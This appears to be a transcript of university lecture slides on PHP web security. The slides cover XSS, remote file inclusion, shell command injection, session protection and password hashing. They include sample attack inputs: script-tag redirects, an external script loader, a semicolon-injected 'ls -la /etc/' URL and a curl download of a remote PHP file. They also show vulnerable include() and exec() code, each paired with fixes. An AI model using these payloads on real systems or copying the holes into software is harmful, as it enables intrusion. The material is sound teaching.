Download Security Issues

Document related concepts
no text concepts found
Transcript
Security Issues
General Considerations


Security is a hot topic
Security discussions are full of jargon








Zero Day Exploit
Pen testing
Hacker
Pharming
Injection
malware
DOS
Serious issue, but lots of FUD
Start by thinking
about where you are
exposed
Filesystem

Multiuser systems




PHP codes executes as the web server, with the web
server's permissions
This means any file that you write via PHP might be
writable by other users (either via PHP or a CGI
program)
Any file that's readable by the web server is readable
by others via the web server, even if the server won't
serve them to a browser directly
Often web pages are world readable
Forms

You're also exposed whenever you
request data from a user
A user may give you data you don't expect or
want
 Depending on how your program handles the
data, this can have a variety of results
 Your data on the server could be affected
 Other users' browsers could be affected

Other Vectors


This is an aside….
Services such as ssh and mysql
Firewalls
 DMZ
 Bind to different ip addresses



What you do from the server
Where the server is located--physical
security is key
Consider where you want to
put your security measures


For example, in this class I'm trusting you
all a lot, as a group, not to trash machines
In MySQL, you can either use the
database to secure data, or PHP, or both


Both is hard to do…
In some cases, restricting access to a
domain is enough, in other ids are better
Balance



Security is like a seesaw, with whitehats
and blackhats on the ends
What's the most secure OS?
Where is the threat coming from these
days?
Categories of Hacks



Data that is inserted into code that is
displayed on your pages
Data that is inserted to alter your data
Holes that can be exploited to run arbitrary
commands
Display Hacks



Targets are bulletin boards, blogs that
allow comments, wikis, web forums-anything that allows users to input text that
will be displayed
At best, you might get random stuff
showing up on your web pages
At worst, users could be "captured" and
whisked away
Builtin Security


PHP does try to protect us, but sometimes
that protection causes it's own problems
I'm going to run through a series of
examples, showing some simple insertion
techniques, and the approaches to stop
them
Magic Quotes

An example of trying to do good in a bad
way….
In the Beginning



As PHP became more popular, attacks against it
became more common (why would this be the
case?)
Around PHP 3, it was in widespread use, but
had very few security features out of the box
In particular, it did nothing to affect data input by
forms
Version 4.2.3



To make PHP safer, version 4.2.3 included
magic quotes enabled by default
Magic quotes performs the same function as
add_slashes(), but only on any GET, POST or
cookie data--that is, it escapes any ',",\, or NULL
characters, in an attempt to prevent folks from
inserting command strings into php
It works ok, for what it's trying to do, but isn't a
complete solution…
So how does it work?

Magic quotes will try to protect us a bit if
someone inserts something like:
<b>Alert!</b><p>Your account has been
compromised, please <a
href="http://www.cs.unc.edu">click here for
further information</a></p>
echo_string_noslash.php

This file defeats magic quotes and echoes the
$_GET["string"] var without alteration
<b>Alert!</b><p>Your account has been
compromised, please
<a href="http://www.cs.unc.edu">click here for
further information</a></p>
Calgon, take me away

One can also insert code that moves the
user from your site:
<script type=text/javascript>window.location =
"http://www.duke.edu";</script>
With magic quotes

echo_string.php doesn't defeat magic
quotes
Can't trust browsers anyhow


So with magic quotes if the hacker uses well
formed HTML, we're ok
But what if I put this in:
<b>Alert!</b><p>Your account has been compromised,
please <a href=http://www.cs.unc.edu>click here for further
information</a></p>

Or this:
<img src=http://cutedeadthings.com/images/skull-pinktm.png>


The browser is trying to be helpful…
Look at the source
We don't need no quotes


Even worse, we don't need quotes to call
for an external javascript
This means we can insert pretty much
anything we want into the page:
<script
src=http://127.0.0.1/INLS672/samples/php/
security/javascript_hack.js></script>
This last example



Cross site scripting (XSS) generally
involves getting data into a web form that
produces HTML for display, and use that
to call an external script to perform a
malicious action
This is often done with javascript, but can
be done with other languages
Older versions of IE were prone to attack
in this manner because of ActiveX
Are Magic Quotes AGT?




Some say that magic quotes are bad
 when enabled, it can make it more difficult to
get the data you the way you want it
 Produces a false sense of security, since
programmers should check user data anyway
But it does protect against the most common
attacks such as insertion of javascript
But folks hated it enough that it's off in PHP 6
And that's the worst of it--if you want to write
portable code, you have to check for it
Detecting and Defeating
Magic Quotes

This is not very efficient
<?php
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
?>
from http://us.php.net/manual/en/function.stripslashes.php
It's up to you

For many samples of XSS attacks, see:
http://ha.ckers.org/xss.html
Simple Sanitation



In this case, we're going to use
htmlentities(), htmlspecialchars() and
strip_tabs() to affect the user's input
see echo_string_checks.html
Be aware that this is mainly a browser
protection…
Blacklist vs. Whitelist


What we've looked at so far are examples
of blacklisting--trying to spot evil input
Whitelisting is more secure--figure out
what you want, and only allow that
Using regex


Decide what you're willing to accept
Check the user input for that
if (eregi("^[a-zA-Z0-9]{0,}$", $_GET['string']))
// The regex above checks every char starting with 0
{
echo "String is: " . $_GET['string'];
}
else
{
echo "<p>Illegal characters detected</p>";
}
echo_string_clean.html


This is the same form, but passes data to
a php script with the regex code
This approach has advantages
Futureproof
 Doesn't require you guess what the hacker
might try
 On error, doesn't process the data at all


Downside is it's harder to get data through
Arbitrary Commands




Basically, this is the worst kind of attack
Cracker finds a hole that allows a
command to be executed
Most often that happens at the privilege
level of the web server
In some cases, it can be an elevated
privilege (rare on linux, not so rare on
windows under pre-vista installations)
Includes and Requires





It's pretty common to use an include or require to pull
files into a core script
This is a potential vector for a XSS attack, since PHP
doesn't care if the file included is remote or local
Be careful with these--if you pass file to be included into
your script with a GET or POST, a hacker can run a
script of their own through yours
magic_quotes do not protect against this
It's one of the ways I've been hacked
include $_GET['file'];
How I've Been Hacked




I created a simple PHP file that included other
files with a GET reference
This allowed me to call files elsewhere on the
server inside my frame program, and control the
display if the file were a text file or html
I did not check the data being passed
The hacker passed a reference to a file on their
system, that ran a perl script creating an email
relay on our web server, and then passed email
through the web server to our smtp server, which
accepted all of the spam, since it came from
within cs.unc.edu
The File


http://wwwx.cs.unc.edu/help/network/fram
e.php?
The problem line was:
include($_GET[name]);
The Fix



Changed include() to readfile(), the latter
doesn't process code, just reads it to
output
Added a check for "//" for remote access
urls
Added a hook to send email to me when
tapped
Attacking the server


Since PHP can pull data about the server,
it can be used to find out about the
server's configuration (esp. the web
server)
More dangerous is the ability to access the
shell You should be careful with any data
that will be passed to a shell script with
back ticks, exec(), or shellexec()
Unguarded GET or POST



In this case, the GET
variable is passed
directly into a shell
exec
We know that shell
script lines
terminated in a ";"
So a command can
be passed in the
variable, by inserting
a semi-colon
$month = $_GET['month'];
$year = $_GET['year'];
exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r<BR>"; }
print "</PRE>";
This example from http://www.sitepoint.com/article/php-security-blunders
Unguarded GET or POST




An example of a get URL:
http://127.0.0.1/php/security/unguarded_g
et.php?month=9;ls -la /etc/
This would be passed to the web server,
and executed with it's permissions, so it's
a better vector for reads than writes
But any directory that the web server could
write to could be tapped….
This example from http://www.sitepoint.com/article/php-security-blunders
Unguarded GET or POST


Ok, so let's say this file sits in a directory
that the web server can write to (say for a
user comment file, or a log, or….)
Then a hacker could pass something more
malicious, eg:
curl http://www.cs.unc.edu -o myfile.php
Unguarded GET or POST

The author
recommends using
a regular
expression to
check that the
input is solely
numbers, and of
the correct length
$month = $_GET['month'];
$year = $_GET['year'];
if (!preg_match("/^[0-9]{1,2}$/", $month))
{
die("Bad month, please re-enter.");
}
if (!preg_match("/^[0-9]{4}$/", $year))
{
die("Bad year, please re-enter.");
}
This example from http://www.sitepoint.com/article/php-security-blunders
06_mysql_submit.php



I'm pretty much a failure hacking MySQL so
far…
But using the lab as an example, here are some
things you can insert into the db
 <a href=\"http://www.cs.unc.edu\">
Wonk</a>
 <img src=/PoweredByMacOSXLarge.gif>
It's restricted by the number of characters
allowed in the field, but you get the idea
Additional Considerations for
MySQL

Don't use unrestricted privileges for
database connections (do as I say, not as I
do)
Either have the user supply a user id and
password, or use a restricted account
 Use a mysql account that is limited and
appropriate for the given task

General Server
Settings
register_globals





register_globals, when on, allows php full access
to all variables directly
In my examples, I've accessed GET and POST
data via the server global array even when not
necessary
With it on, $_GET["variable"] is the same as
$variable in php
This gives a hacker a chance to inject data into
unprotected variables into your script, say into a
session variable
So check to see that it's off
open_base_dir




The default is to allow php to open any
files, this setting can be enabled to restrict
what directories php can access
With a setting of ".", the tree is restricted to
the folder of the script itself, or lower
Can be set for virtual servers in apache
Keep in mind that this setting only affects
php, any shell scripts you use have full run
of the directory tree
What can you do?
(Panic?)
Protect your code

In the class pages, I've made the source code
visible over the web






This is something to avoid in general--it's easier to
hack a site if you know the source
Hide configuration files and data
Restrictive .htaccess files
Use cron based shell scripts to whisk data away
Keep data and config files separate from scripts
Use a sealed db server
Hiding files


Files with a "." as the first character are
readable by PHP, but won't be served by a
web server
Depending on the server configuration
(such a the web server's FollowSymLinks
setting, or PHP's open_base_dir setting),
you may be able to store data files in
areas that the web server won't serve up
.htaccess files

Disallow directory listings



You can also use a blank index file
Restrict access by user id or by domain
See http://www.htaccessbasics.com/
Directory Structures



Keep data files in one directory,
configuration files in another, and scripts in
a third
You may need to put the data and config
dirs inside the scripts folder, but you can
use an .htaccess file or other methods to
control access
For example, write permissions or afs acls
Open versus Sealed servers



Be aware of who else is on your server
Remember that the web server has to
have read privileges--if I'm on the same
server, I might be able to use a cgi to see
your source code
Consider a "sealed" server for critical data
Finding Hacks



Run a hash on your scripts to check for
mods--there are lots of freebie programs
that can do this for you and alert you to
changes
Tripwire is one example, but it's a
complicated thing
Watcher
Keep Cookies in the jar

PHP sessions
can store data
in cookies as
well as server
side--best not
to do this
unless the
data's not
sensitive
QuickTime™ and a
decompressor
are needed to see this picture.
Keep Cookies in the jar


Some browsers (ie for example) have
historically been prone to cookie theft
So if you store sensitive data in a cookie,
salt and encrypt it (hash is always better
with salt anyway)
Control Session Data



In the examples for class, I've used a
session to store data across forms
Session data is usually in /tmp or /var/tmp
Since the web server can read these, so
can any else on the server who can write
web scripts
Protecting Session Data


To reduce the chance of hijacking, use a
combination of data--for example, check
not only the session key, but also the ip
number (consider storing that in post data
or a text file)
Encrypt any sensitive data stored in the
session
cookie_monster.php
Better Still



Generate a random key on each page
load
Check other data, such as the client ip
number or browser version and track that
as well
Store data in multiple places and compare
(eg. some data in the session, some in a
cookie, and even some in a database or
file)
Hash is good for you


I've mentioned this a few times, but you
can use hashes of data as a security
measure, esp. for passwords
What is hash really?
createLogin



This is some code I used for a faculty
application site
Users created a login with their email
address as an id
Passwords stored in a text file, as an MD5
hash
create_login.php


This is a simple php script that calls some
HTML into itself, and uses a jah like
function to test the data submitted by the
user--this check has a php backend, so
the javascript check and the subsequent
php check are the same
All it does for the password is run it
through md5
create_login.php


As the form is submitted to itself, after
some checks, the post data is shoved into
an array, and written to a file
The hash would be better with a salt
$new_entry[id] = trim($_POST["get_id"]);
$new_entry[passwd] = md5(trim($_POST["get_passwd"]));
$new_entry[key] = $_SESSION['session_key'];
$new_entry[created] = $runtime;
$new_entry[status] = "new";
write_data_file($new_entry, $id_data);
submit_application.php



After the id is created, or when a user
returns, they land on
submit_application.php
This asks them for the userid and
password on the first pass
On the second pass, it checks the userid
and data in the post
submit_application.php

Notice md5_match_array_element()
$ids_file = read_data_file("./config/userids.txt");
$test= md5_match_array_element($ids_file, "id",
$_POST["id"], "passwd", $_POST["passwd"]);
if ($test > 0)
{
$action="submit_application: login_failure";
require './logger.php'; // call the program to write out log entries.
die_cleanly("<div id=\"notice\"><p>Invalid User ID or password,
if you feel you have received this message in error
please contact
<a href=\"http://www.cs.unc.edu/cgi-bin/mailcs?hays\">
bil hays</a></p></div>");
}
md5_match_array_element()
function md5_match_array_element($array, $array_key,
$get_key, $array_element, $get_element)
{
foreach ($array as $i)
{
if ($i[$array_key] == $get_key)
{
if ($i[$array_element] != md5($get_element))
{
return "1";
}
return "0";
}
}
return "2";
}
Use of hashes


A hash can be used to check a value
presented against a prior value
Or to detect file changes--if you write a big
chunk of code, you can run a hash on the
files or the tarball. When you check the
files against the hash, you can detect a
change
Final points
Keep Up To Date



Update your PHP installation regularly,
and check the php.ini settings when you
do
Create and check log files in your php
programs (consider automating this with a
cron)
Read--there are web sites and discussion
lists that cover these issues--many are a
bit histrionic, but you get good ideas
anyway


http://nexodyne.com/
http://www.codehelp.co.uk/php/taint.php